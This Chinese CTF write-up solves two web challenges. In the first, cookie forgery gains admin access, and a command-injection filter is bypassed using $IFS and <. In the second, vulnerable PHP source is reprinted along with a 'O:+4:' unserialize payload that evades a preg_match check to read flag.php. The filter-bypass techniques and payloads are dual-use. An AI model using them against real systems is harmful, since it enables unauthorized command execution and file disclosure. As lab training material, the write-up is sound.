题目地址:http://101.71.29.5:10000
题目打开看着是一个网站,按照常规的思路先御剑扫描,发现存在admin.php、存在.DS_Store文件,存在文件泄露,ds_store_exp 是一个.DS_Store 文件泄漏利用脚本,它解析.DS_Store文件并递归地下载文件到本地: https://github.com/lijiejie/ds_store_exp 下载该脚本后运行
看到已经获取出来一些目录及一些源码,读了后没有发现什么有价值的东西。
试试访问admin.php,之后页面显示“you are not admin…”,因为题目并没有登录功能,猜测可能要对cookie做点文章来伪装成admin。用burp抓包看请求头如下:
发现user字段,把值解base64得user(%3D是‘=’的url编码,解码的时候记得把%3D换成=),根据这个思路,就把admin进行base64后替换原来的值,但是发现还是一样的显示“you are not admin…”。
这里卡了好久,后来清空cookie重新整理思路,发现当访问admin.php时如果没有cookie,他会给我们set PHPSESSID字段的cookie,此时并没有set user字段的值,仅仅是给我们了一个PHPSESSID
于是访问index.php通过抓包发现是在访问index.php的时候set了user字段。
于是猜测index.php有检查cookie中user字段的动作,于是改user的值为admin的base64,之后发现页面被重定向到admin.php,此时就没有提示“you are not admin…”。
查看源码可以看到表单post了cmd字段,猜测这里是命令执行,于是post了cmd=ls过去试试,看到 ls 命令被执行了
但是没有看到flag,猜测flag在服务器根目录,想 ls / 查看根目录下的文件,发现直接报了error,猜测可能某些字符被过滤了,经过测试发现空格过滤了,于是先用 < 顶替 如下:
查看到了admin.php的内容,查看config.php
看到过滤了;&>{}%#?!@+还有空格,之后想办法怎么绕过这个过滤,找了几个姿势,最后用$IFS代替空格,
然后就可以愉快的拿到flag了。
访问题目直接看到源码,看代码,需要我们传入data参数,然后经过 preg_match(’/[oc]:\d+:/i’,$data,$matches);函数进行过滤,之后进行反序列化操作。我们需要构造file属性为flag.php的对象,然后将它的反序列化后的字符串最为data传入,因为__toString()这个魔法方法会在对象被当做字符串时触发,于是echo $good时就会自动调用对象中的__toString()方法,从而读取flag.php文件。
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
var_dump($data);
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./index.php");
}
?>
那么现在就剩如何绕过preg_match()函数的过滤了,百度看了几篇文章说用 + 号即O:+4:这样即可绕过。最终paylaod为O:+4:“baby”:1:{s:4:“file”;s:8:“flag.php”;}
注意使用时记得进行url编码,否则+号会被当成空格,还要注意php7和php5的区别,php7用+号绕过时会报错无法反序列化,只有php5可以这样。
web题算是比较基础,做的时候给选手的思路很清晰,至少没有那些无聊的脑洞。